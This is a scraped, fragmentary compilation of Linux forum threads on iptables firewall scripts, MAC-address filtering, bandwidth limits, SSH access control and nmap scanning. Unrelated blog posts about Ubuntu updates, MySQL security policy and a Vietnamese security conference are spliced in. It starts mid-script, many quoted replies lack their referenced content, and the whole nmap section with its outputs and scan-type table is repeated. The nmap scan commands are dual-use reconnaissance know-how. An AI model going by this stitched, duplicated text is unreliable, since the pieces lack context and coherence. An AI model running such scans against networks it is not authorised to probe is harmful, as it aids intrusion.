$LOOPBACK -j ACCEPT ############################################## ### Droping Packets coming from internet claming to be from Network ############################################### $IPT -A INPUT -i $INTERNET -s $LOC_IP -j DROP $IPT -A INPUT -i $INTERNET -d 127.0.0.0/8 -j DROP $IPT -A INPUT -i $NETWORK -j ACCEPT $IPT -A OUTPUT -o $NETWORK -j ACCEPT ##################################### ### Accepting Extablished and Related Connections ### ##################################### $IPT -I INPUT -i $NETWORK -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A INPUT -i $INTERNET -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A OUTPUT -o $INTERNET -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT ############################### ### Droping Invalid and Unknown Packets ### ############################### $IPT -A FORWARD -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ALL NONE -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,RST SYN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags FIN,RST FIN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,FIN FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,PSH PSH -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,URG URG -j DROP #$IPT -t nat -A PREROUTING -i $NETWORK -p tcp --syn -s $LOC_IP --dport 80 -m mark ! --mark 1 -j DROP |
| mudasir wrote: |
| Not looking for this sort of solution |
| Quote: |
| Anyways...i was just curious to know wheather this thing can be blocked or not... Now i know that this SNIFFER thing can not be blocked.... |
| Quote: |
| As i told earlier i am not the one facing this problem....many of my users complained me about this...So its not my job to do this....still i was looking for a solution.... |
| mudasir wrote: |
| AOA,
Dear Lambda, i know that network works without 'SERVER', but i am looking forward for a solution, i am not facing any problem on PC's, however many of my users are complaining regarding this issue. Looking forward for some help in this regards. |
| Quote: |
|
use more switches on your network. |
| Quote: |
|
IPT=/sbin/iptables Rule #1 $IPT -t nat -A PREROUTING -i eth0 -p tcp -d 0.0.0.0/0 --dport 80 -m mark ! --mark 1 -j DNAT --to-destination 192.168.1.2:81 Rule #2 $IPT -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -m mark ! --mark 1 -j DNAT --to-destination 192.168.1.2:81 |
| LinuxFreaK wrote: |
|
I think you need to use Source NAT instead of Destination NAT. |
| mudasir wrote: |
|
I tried it by DNAT like this IPTABLES -t nat -A PREROUTING -i eth0 -p tcp -m mark ! --mark 1 -j DNAT --to-destination 192.168.1.2:81 |
| whyrus wrote: |
| Dear friends.
I,m running a cable network i have a static ip. my problem is when ever any clients of my network booting on yahoo or use any kind of locking yahoo softwares. yahoo stops working on my whole network then i have to change my real ip . After changing my ip it starts again. i would like to know is there any possibilities to stop these kind of stuffs on lan or any way to stop banning my IP. i have IP pools on my connection. thanks u all in advance take care Allah Hafiz |
| lambda wrote: |
| tell your users that if they run any such app, you'll tell all the other users who did it. |
| majidnazeer wrote: |
| I already allow amai, but problem persist. |
| maiqbal wrote: |
| Dear Saad & Farrukh,
As I have told you my requirements are as below: Global address book Shared Calender Group Tasks Group schedules Public Folders with permissions Portal None of the suggested groupware has Public Folders. Can you guys have a search again (I am in search too)? P.S To Saad: I am not dependent on MTA and can use any of sendmail, Postfix, qmail etc. Regards, Muhammad Asif Iqbal |
| sevensins wrote: |
| I was wondering is there any way to find out duplicate hosts (ip's) with same mac address? |
| Code: |
| #!/usr/bin/env ruby
reg = Regexp.new /^([0-9.]+)s+w+s+([0-9A-F:]+)/ macs = {} f = IO.popen '/usr/sbin/arp -aven' f.each_line do |line| matches = reg.match line if matches ip = matches[1] ether = matches[2] if macs[ether] macs[ether] << ip else macs[ether] = [ip] end end end macs.each { |mac, iplist| puts "#{mac} has more than one ip: #{iplist}" if iplist.size > 1 } exit 0 |
Users of Ubuntu Linux are probably already accustomed to Ubuntu update screen which appears when there are security or critical updates to the operating system.
A typical software update screen will display a list of softwares that require updates along with their release number. What most people would probably overlooked is the “Description of update” below the the list. Clicking it will reveal the description of the updates along with a brief explanation about security hole or bug that it fixes.
The expanded description also provide hyperlinks to the patch website which contains security advisory references to the aforementioned patch. This information would help users understand which bugs/security hole that has been eliminated with the current updates.
Tags: ubuntu, security, debian, open source, opensource, linux, apt-get, synaptic, feisty fawn, feisty
| majidnazeer wrote: |
| Hi All
I want to restrict download bandwidth per user or ip through squid or iptables. I want user can not get download speed more than 6k. I use 512K bandwidth. Anybody know and help me about it. Thanks |
| majidnazeer wrote: |
| Hi All
I want to restrict download bandwidth per user or ip through squid or iptables. I want user can not get download speed more than 6k. I use 512K bandwidth. Anybody know and help me about it. Thanks |
| Zaheer wrote: |
| AA,
Tell me one thing what if the client is a linux user and these patches are .exe ? |
| Zaheer wrote: |
| AA,
Yes i know of a network affected by this |
| abakali wrote: |
| ## Define your Mac Address Path
MACFILE="/extra/scripts" rm -f $MACFILE/allowed.macs |
| Quote: |
| cat $MACFILE/mac.addresses | awk '{ print $1, $2 }' >> $MACFILE/raw1 |
| Quote: |
| sleep 1 |
| Quote: |
| cat $MACFILE/raw1 | grep -v '#' |grep -v '^ ' > $MACFILE/allowed.macs |
| Quote: |
| mac=`echo $allowedmacs | awk '{ print $1 }'`
ip=`echo $allowedmacs | awk '{ print $2 }'` |
| Code: |
| cat allowed.macs | while read line
do set $line mac=$1 ip=$2 ... done |
| mudasir wrote: |
| Deat Asif Bakali,
I just want to know how can we integrate MAC address base security in this firewall like for example iptables -A INPUT -i eth1 -m mac --mac-source XX:XX:XX:XX:XX:XX -j ACCEPT now i have a list of MAC Address only which i want to allow and rest should be dropped... Can you tell me how to implement you firewall with MAC Address and one more thing, it is a bit out of the topic.... can you tell me or guide me in creating a script that can limit bandwidth on per user base to exact 15 KB with out giving high latency. looking forward for your response |
| sakimustafa wrote: | ||
Please explain me
|
| Code: |
| -p tcp ! --syn |
I don’t claim to be a security expert, but I’d like opinions from people in the field, as well as database experts that view security highly. Here are some opinions from a discussion with Chad and Lenz a while ago. What do you consider a security hole, that warrants immediate action or a release of a server within a sensible timeframe?
The above two are definite problems. What about:
Chad tells us, “security is policy enforcement.” And the policy should state: “the service should always be available to authorized people, never to unauthrized people”.
Opinions, please. Tell me what are on the “definite list” that should be fixed within 24-hours, whats on the possibly annoying list, that should be released within 72-hours, and whats on the its an annoying bug, but its not a “high”/”large” security violation (like, Chad finds “a function SUBSTR that always returns one too few characters” a problem in his definition) which can be fixed during the next release cycle.
Also, if anyone has pointers to how other OSS projects or major release software deals with security. Say, like Mark Cox’s security information (he’s Mr. Security at Red Hat, and they’ve got some amazing turnaround times).
Technorati Tags: mysql, security
| azfar wrote: |
| do you understand my question. |
| Quote: |
| i tried diff firewalls but it aslo block the client traffic to external smtps. |
| lambda wrote: | ||||||||
the two general ways of restricting access to certain ips are to use the /etc/hosts.{allow,deny} files, or iptables. for iptables, you need to add entries to the INPUT chain to allow access from certain ips, and to deny all other access, like so:
the other solution is to edit /etc/hosts.allow and list the ips there:
|
| small^one wrote: |
| how cud i make my ssh allow login from only specific users, i mean specific ip's |
| Code: |
| iptables -A INPUT -m tcp -p tcp -s 192.168.1.10 --dport 22 -j ACCEPT
iptables -A INPUT -m tcp -p tcp -s 192.168.1.12 --dport 22 -j ACCEPT iptables -A INPUT -m tcp -p tcp -s 192.168.1.24 --dport 22 -j ACCEPT iptables -A INPUT -m tcp -p tcp --dport 22 -j REJECT |
| Code: |
| sshd: 192.168.1.10, 192.168.1.12, 192.168.1.24 |
| Code: |
| sshd: ALL |
| venky145 wrote: |
|
It is possible. |
| Quote: |
|
00:16:76:8D:50:2A 00:90:FE:23:19:D4 00:02:A5:83:36:09 00:16:36:e7:6a:da 00:90:27:75:01:C4 00:02:44:36:3C:AA 00:08:C7:84:D0:73 00:00:24:C9:BC:76 00:B0:D0:14:A3:29 00:B0:D0:B5:D6:E0 00:60:08:37:6E:3C 00:0F:1F:B2:ED:96 00:90:27:84:F3:DA 00:D0:B7:27:FC:05 00:90:FE:22:FB:FF 00:0C:F1:D9:C2:D7 00:10:4B:2C:B3:BF 00:01:03:02:75:F8 00:30:4F:04:BE:C9 00:06:29:EF:21:B7 00:80:5F:77:A8:DC 00:01:03:04:D7:86 00:01:02:5F:0F:73 00:01:02:F7:1C:E5 00:01:02:25:29:11 00:13:20:24:88:E2 00:D0:B7:27:4C:E0 00:04:76:BA:9D:E1 00:30:4F:06:FE:43 00:40:B9:53:51:00 00:11:11:05:48:F3 00:0D:56:1F:FB:0D 00:C0:CA:11:ED:DD 4C:00:10:52:35:0F 00:08:C7:81:A0:4B 00:60:08:95:64:65 00:07:E9:F6:AA:CE 00:15:F2:BA:54:54 00:01:03:13:3A:7E 00:06:29:F7:D4:79 4C:00:10:60:DA:DA 00:C0:26:79:DB:67 00:02:44:4B:58:EE 00:05:1C:1A:A3:CA 00:11:D8:FE:69:D0 00:90:FE:22:F9:36 00:16:76:4A:14:C3 00:07:95:C2:BF:3A 00:11:D8:FA:30:A7 00:02:55:30:C1:CB 00:00:1C:DD:7F:2D 00:C0:4F:73:D4:75 00:C0:4F:41:7A:56 00:02:B3:95:84:CB 00:B0:D0:92:F5:BC 00:02:B3:4A:D8:13 00:0B:2B:0B:B3:D5 00:C0:26:79:D7:5C 00:01:02:40:8B:07 00:C0:26:68:B8:AC 00:E0:81:2F:B9:16 00:B0:D0:DB:A1:21 00:0B:DB:42:98:86 00:50:04:B1:8F:77 00:50:DA:0A:6C:0D 00:15:F2:7E:3C:23 00:50:FC:87:A2:32 00:02:44:05:EE:41 00:C0:26:6A:FB:52 00:50:DA:23:BB:A8 00:50:DA:38:7E:11 00:B0:D0:54:5F:58 00:10:b5:43:18:f0 00:10:4B:D1:AE:39 00:50:DA:5B:ae:89 00:08:C7:DB:2D:08 00:04:AC:45:90:AD |
| Quote: |
|
+ read allowedmac + iptables -A INPUT -i eth2 -p ALL -m mac --mac-source -j ACCEPT iptables v1.2.11: Bad mac address `-j' Try `iptables -h' or 'iptables --help' for more information. + iptables -A FORWARD -i eth2 -p ALL -m mac --mac-source -j ACCEPT iptables v1.2.11: Bad mac address `-j' Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source --dport 5100 -j ACCEPT iptables v1.2.11: Bad mac address `--dport' Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source --dport 5100 -j ACCEPT iptables v1.2.11: Bad mac address `--dport' Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source --dport 5000:5010 -j ACCEPT iptables v1.2.11: Bad mac address `--dport' Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source --dport 5000:5010 -j ACCEPT iptables v1.2.11: Bad mac address `--dport' Try `iptables -h' or 'iptables --help' for more information. + read allowedmac + iptables -A INPUT -i eth2 -p ALL -m mac --mac-source 00:10:b5:43:18:f0 -j ACCEPT + iptables -A FORWARD -i eth2 -p ALL -m mac --mac-source 00:10:b5:43:18:f0 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source 00:10:b5:43:18:f0 --dport 5100 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source 00:10:b5:43:18:f0 --dport 5100 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source 00:10:b5:43:18:f0 --dport 5000:5010 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source 00:10:b5:43:18:f0 --dport 5000:5010 -j ACCEPT + read allowedmac |
| mudasir wrote: | ||
| And one more thing.
I just want to know what does the following lines do....
I found them i a firewall script but dont know the function of these lines. looking forward for your help |
| mudasir wrote: | ||
|
Now when i run this script, it gives error
All the MAC Address and not recognised as BAD MAC Addresses, only Few of the MAC Addresses are recognised as BAD Mac Addresses. And these MAC Addresses are not loaded in the Firewall. Just want to know why thses MAC Addresses are BAD MAC Addresses. |
| Code: |
| tr -d 15 < /Firewall/macs/allowed.macs > /tmp/am
mv /tmp/am /Firewall/macs/allowed.macs |
| Quote: |
|
+ iptables -A FORWARD -i eth2 -p ALL -m mac --mac-source $'00:10:4B:2C:B3:BFr' -j ACCEPT 'ptables v1.2.11: Bad mac address `00:10:4B:2C:B3:BF Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source $'00:10:4B:2C:B3:BFr' --dport 5100 -j ACCEPT 'ptables v1.2.11: Bad mac address `00:10:4B:2C:B3:BF Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source $'00:10:4B:2C:B3:BFr' --dport 5100 -j ACCEPT 'ptables v1.2.11: Bad mac address `00:10:4B:2C:B3:BF Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source $'00:10:4B:2C:B3:BFr' --dport 5000:5010 -j ACCEPT 'ptables v1.2.11: Bad mac address `00:10:4B:2C:B3:BF Try `iptables -h' or 'iptables --help' for more information. + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source $'00:10:4B:2C:B3:BFr' --dport 5000:5010 -j ACCEPT 'ptables v1.2.11: Bad mac address `00:10:4B:2C:B3:BF Try `iptables -h' or 'iptables --help' for more information. + read allowedmac + iptables -A INPUT -i eth2 -p ALL -m mac --mac-source 00:30:4F:04:BE:C9 -j ACCEPT + iptables -A FORWARD -i eth2 -p ALL -m mac --mac-source 00:30:4F:04:BE:C9 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source 00:30:4F:04:BE:C9 --dport 5100 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source 00:30:4F:04:BE:C9 --dport 5100 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source 00:30:4F:04:BE:C9 --dport 5000:5010 -j ACCEPT + iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source 00:30:4F:04:BE:C9 --dport 5000:5010 -j ACCEPT |
| Code: |
| set -x |
| Quote: |
|
#!/bin/bash ################################## ### Flusing All IPTABLES Rules ### ################################## iptables -F iptables -X iptables -t nat -F iptables -t nat -X ######################################## ### Setting Default Policies To DROP ### ######################################## iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP ##################################### ### MAC Address Filtering Process ### ##################################### cat /Firewall/macs/allowed.macs | while read allowedmac do iptables -A INPUT -i eth2 -p ALL -m mac --mac-source $allowedmac -j ACCEPT iptables -A FORWARD -i eth2 -p ALL -m mac --mac-source $allowedmac -j ACCEPT iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source $allowedmac --dport 5100 -j ACCEPT iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source $allowedmac --dport 5100 -j ACCEPT iptables -t nat -A PREROUTING -i eth2 -p tcp -m mac --mac-source $allowedmac --dport 5000:5010 -j ACCEPT iptables -t nat -A PREROUTING -i eth2 -p udp -m mac --mac-source $allowedmac --dport 5000:5010 -j ACCEPT done ############################## ### Enabling IP Forwarding ### ############################## echo 1 > /proc/sys/net/ipv4/ip_forward ############################################## ### Rules To Redirect Web Traffic To Squid ### ############################################## iptables -t nat -A PREROUTING -i eth2 -p tcp --dport 80 -j REDIRECT --to-port 8080 ############################################# ### Droping All Traffic For Voice And Cam ### ############################################# iptables -t nat -A PREROUTING -i eth2 -p tcp --dport 5100 -j DROP iptables -t nat -A PREROUTING -i eth2 -p udp --dport 5100 -j DROP iptables -t nat -A PREROUTING -i eth2 -p tcp --dport 5000:5010 -j DROP iptables -t nat -A PREROUTING -i eth2 -p udp --dport 5000:5010 -j DROP ######################################### ### Accepting Established Connections ### ######################################### iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT ############################# ### Allow PING Requests ### ############################# iptables -A FORWARD -s 10.10.10.0/23 -p ICMP -d ! 10.10.10.0/23 -j ACCEPT iptables -A INPUT -i eth2 -p icmp -j ACCEPT ############################################################################### ### Drop Requests Coming From Internet Claiming To Be From Internal Network ### ############################################################################### #iptables -A INPUT -i eth1 -s 10.10.10.0/23 -j DROP iptables -t nat -A PREROUTING -i ! eth2 -s 10.10.10.0/23 -j DROP |
| Quote: |
| 'ptables v1.2.11: Bad mac address `00:B0:D0:85:0A:42 |
| Quote: |
|
iptables -t mangle -F maccheck iptables -t mangle -X maccheck iptables -t mangle -N maccheck iptables -t mangle -I PREROUTING -i eth2 -p tcp -j maccheck iptables -t mangle -A maccheck -j MARK --set-mark 1 iptables -t mangle -A maccheck -j RETURN iptables -t nat -A PREROUTING -m mark --mark 1 -p tcp -j DNAT --to-destination=10.10.10.1:81 |
| Quote: |
|
cat /firewall/macs/allowed.macs | while read allowedmacs do $IPTABLES -A INPUT -p ALL -m mac --mac-source $allowedmacs -j ACCEPT $IPTABLES -A INPUT -p ALL -m mac --mac-source ! $allowedmacs -j DROP done |
| mudasir wrote: |
| Please Help me out in impleenting this mac check script By Farrukh Bhai |
| Quote: |
|
# # MAC Check Script # This Script will add Allowed/Blocked and Blocked Users in Firewall # #!/bin/sh set -x MAC_ALLOW="/etc/mac.allow" MAC_DENY="/etc/mac.deny" TMP_ALLOW="/tmp/mac.allow" TMP_DENY="/tmp/mac.deny" cat $MAC_ALLOW | awk '{ print $1}' > $TMP_ALLOW cat $MAC_DENY | awk '{ print $1}' > $TMP_DENY echo -e "Loading MAC Address...." /sbin/iptables -F INPUT /sbin/iptables -I INPUT -p all -j DROP for MAC in `cat $TMP_ALLOW` do /sbin/iptables -I INPUT -p all -m mac --mac-source $MAC -j ACCEPT done for MAC in `cat $TMP_DENY` do /sbin/iptables -I INPUT -p all -m mac --mac-source $MAC -j DROP done rm -f $TMP_ALLOW rm -f $TMP_DENY echo -e "MAC Address Loaded Successfully...." |
| lambda wrote: | ||
as long as your connection to the system is either at the console or over an encrypted link (like ssh), and no one's installed a keylogger, or is able to read keystrokes off your x window session, it's safe to type 'su'. in fact, it's safer to use sudo. |
| Code: |
| apt-get install nmap |
| Code: |
| waqas@home1:~$ nmap -sP -v 172.16.1.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:39 PKT Initiating Parallel DNS resolution of 1 host. at 13:39 Completed Parallel DNS resolution of 1 host. at 13:39, 0.00s elapsed Host 172.16.1.1 appears to be up. Nmap finished: 1 IP address (1 host up) scanned in 0.007 seconds Raw packets sent: 0 (0B) | Rcvd: 0 (0B) |
| Code: |
| waqas@home1:~$ nmap -sP 172.16.1.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:43 PKT Note: Host seems down. If it is really up, but blocking our ping probes, try -P0 Nmap finished: 1 IP address (0 hosts up) scanned in 0.254 seconds |
| Code: |
| root@home1:~# nmap -sL 192.168.0.0/24
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:48 PKT Host 192.168.0.0 not scanned Host 192.168.0.1 not scanned Host 192.168.0.2 not scanned ------------------------------------------------------------------- Host 192.168.0.253 not scanned Host 192.168.0.254 not scanned Host 192.168.0.255 not scanned Nmap finished: 256 IP addresses (0 hosts up) scanned in 4.803 seconds |
| Code: |
| nmap -sL -n 192.168.0/24 |
| Code: |
| root@home1:~# nmap -sP -n 192.168.0.0/24
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:48 PKT Host 192.168.0.1 appears to be up. MAC Address: 00:0D:88:B7:8D:FE (D-Link) Host 192.168.0.2 appears to be up. MAC Address: 00:50:04:64:A0:FC (3com) Host 192.168.0.5 appears to be up. Nmap finished: 256 IP addresses (3 hosts up) scanned in 5.723 seconds |
| Quote: |
| open
An application is actively accepting TCP connections or UDP packets on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network. closed A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next. filtered Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically. unfiltered The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open. open | filtered Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP Protocol, FIN, Null, and Xmas scans classify ports this way. closed | filtered This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IPID Idle scan. |
| Quote: |
| As a novice performing automotive repair, I can struggle for hours trying to fit my rudimentary tools (hammer, duct tape, wrench, etc.) to the task at hand. When I fail miserably and tow my jalopy to a real mechanic, he invariably fishes around in a huge tool chest until pulling out the perfect gizmo which makes the job seem effortless. The art of port scanning is similar. Experts understand the dozens of scan techniques and choose the appropriate one (or combination) for a given task. Inexperienced users and script kiddies, on the other hand, try to solve every problem with the default SYN scan. Since Nmap is free, the only barrier to port scanning mastery is knowledge. That certainly beats the automotive world, where it may take great skill to determine that you need a strut spring compressor, then you still have to pay thousands of dollars for it. |
| Code: |
| Scan Type Explanation
-sS TCP SYN scan -sT TCP connect scan -sU UDP scan -sF FIN scan -sN Null scan -sX Xmas scan -sA TCP ACK scan -sW TCP window scan -sM TCP Maimon scan -sL Idle scan (http://insecure.org/nmap/idlescan.html) |
| Code: |
| nmap -sS -A -p 1-2000 127.0.0.1 |
| Code: |
| apt-get install nmap |
| Code: |
| waqas@home1:~$ nmap -sP -v 172.16.1.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:39 PKT Initiating Parallel DNS resolution of 1 host. at 13:39 Completed Parallel DNS resolution of 1 host. at 13:39, 0.00s elapsed Host 172.16.1.1 appears to be up. Nmap finished: 1 IP address (1 host up) scanned in 0.007 seconds Raw packets sent: 0 (0B) | Rcvd: 0 (0B) |
| Code: |
| waqas@home1:~$ nmap -sP 172.16.1.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:43 PKT Note: Host seems down. If it is really up, but blocking our ping probes, try -P0 Nmap finished: 1 IP address (0 hosts up) scanned in 0.254 seconds |
| Code: |
| root@home1:~# nmap -sL 192.168.0.0/24
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:48 PKT Host 192.168.0.0 not scanned Host 192.168.0.1 not scanned Host 192.168.0.2 not scanned ------------------------------------------------------------------- Host 192.168.0.253 not scanned Host 192.168.0.254 not scanned Host 192.168.0.255 not scanned Nmap finished: 256 IP addresses (0 hosts up) scanned in 4.803 seconds |
| Code: |
| nmap -sL -n 192.168.0/24 |
| Code: |
| root@home1:~# nmap -sP -n 192.168.0.0/24
Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-15 13:48 PKT Host 192.168.0.1 appears to be up. MAC Address: 00:0D:88:B7:8D:FE (D-Link) Host 192.168.0.2 appears to be up. MAC Address: 00:50:04:64:A0:FC (3com) Host 192.168.0.5 appears to be up. Nmap finished: 256 IP addresses (3 hosts up) scanned in 5.723 seconds |
| Quote: |
| open
An application is actively accepting TCP connections or UDP packets on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network. closed A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next. filtered Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically. unfiltered The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open. open | filtered Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP Protocol, FIN, Null, and Xmas scans classify ports this way. closed | filtered This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IPID Idle scan. |
| Quote: |
| As a novice performing automotive repair, I can struggle for hours trying to fit my rudimentary tools (hammer, duct tape, wrench, etc.) to the task at hand. When I fail miserably and tow my jalopy to a real mechanic, he invariably fishes around in a huge tool chest until pulling out the perfect gizmo which makes the job seem effortless. The art of port scanning is similar. Experts understand the dozens of scan techniques and choose the appropriate one (or combination) for a given task. Inexperienced users and script kiddies, on the other hand, try to solve every problem with the default SYN scan. Since Nmap is free, the only barrier to port scanning mastery is knowledge. That certainly beats the automotive world, where it may take great skill to determine that you need a strut spring compressor, then you still have to pay thousands of dollars for it. |
| Code: |
| Scan Type Explanation
-sS TCP SYN scan -sT TCP connect scan -sU UDP scan -sF FIN scan -sN Null scan -sX Xmas scan -sA TCP ACK scan -sW TCP window scan -sM TCP Maimon scan -sL Idle scan (http://insecure.org/nmap/idlescan.html) |
| Code: |
| nmap -sS -A -p 1-2000 127.0.0.1 |
| phoenix wrote: |
| How safe it is to 'su' while internet in on? |
| Code: |
| OpenSSH_4.2p1 Debian-7ubuntu3.1, OpenSSL 0.9.8a 11 Oct 2005
debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug1: Connecting to 172.16.1.1 [172.16.1.1] port 22. debug1: Connection established. debug1: identity file /home/waqas/.ssh/identity type -1 debug1: identity file /home/waqas/.ssh/id_rsa type -1 debug1: identity file /home/waqas/.ssh/id_dsa type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_4.3p2 Debian-5ubuntu1 debug1: match: OpenSSH_4.3p2 Debian-5ubuntu1 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3.1 debug1: SSH2_MSG_KEXINIT sent Read from socket failed: Connection reset by peer |
| Code: |
| # Package generated configuration file
# See the sshd(8) manpage for details # What ports, IPs and protocols we listen for Port 22 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 Protocol 2 # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key #Privilege Separation is turned on for security UsePrivilegeSeparation yes # Lifetime and size of ephemeral version 1 server key KeyRegenerationInterval 3600 ServerKeyBits 768 # Logging SyslogFacility AUTH LogLevel INFO # Authentication: LoginGraceTime 120 PermitRootLogin no StrictModes yes RSAAuthentication yes PubkeyAuthentication yes #AuthorizedKeysFile %h/.ssh/authorized_keys # Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes # To enable empty passwords, change to yes (NOT RECOMMENDED) PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Change to no to disable tunnelled clear text passwords #PasswordAuthentication yes # Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes X11Forwarding yes X11DisplayOffset 10 PrintMotd no PrintLastLog yes TCPKeepAlive yes #UseLogin no #MaxStartups 10:30:60 #Banner /etc/issue.net # Allow client to pass locale environment variables AcceptEnv LANG LC_* Subsystem sftp /usr/lib/openssh/sftp-server UsePAM yes |
VNSECON’07 is going to held at Ho Chi Minh city on 2nd-4th August 2007. Call for paper is opened right now, for more information please visit VNSECON07 official website.
With the growing speed of Vietnam IT industry and the increasing number of local Vietnamese people who get interested into information security research as well as underground community, it is necessary to have an event that enable the dissemination, discussion and sharing of security information between the security community, government, academic organizations and companies.
Tags: VNSecurity, Security, Conference, Vietnam, Technology, Ho Chi Minh
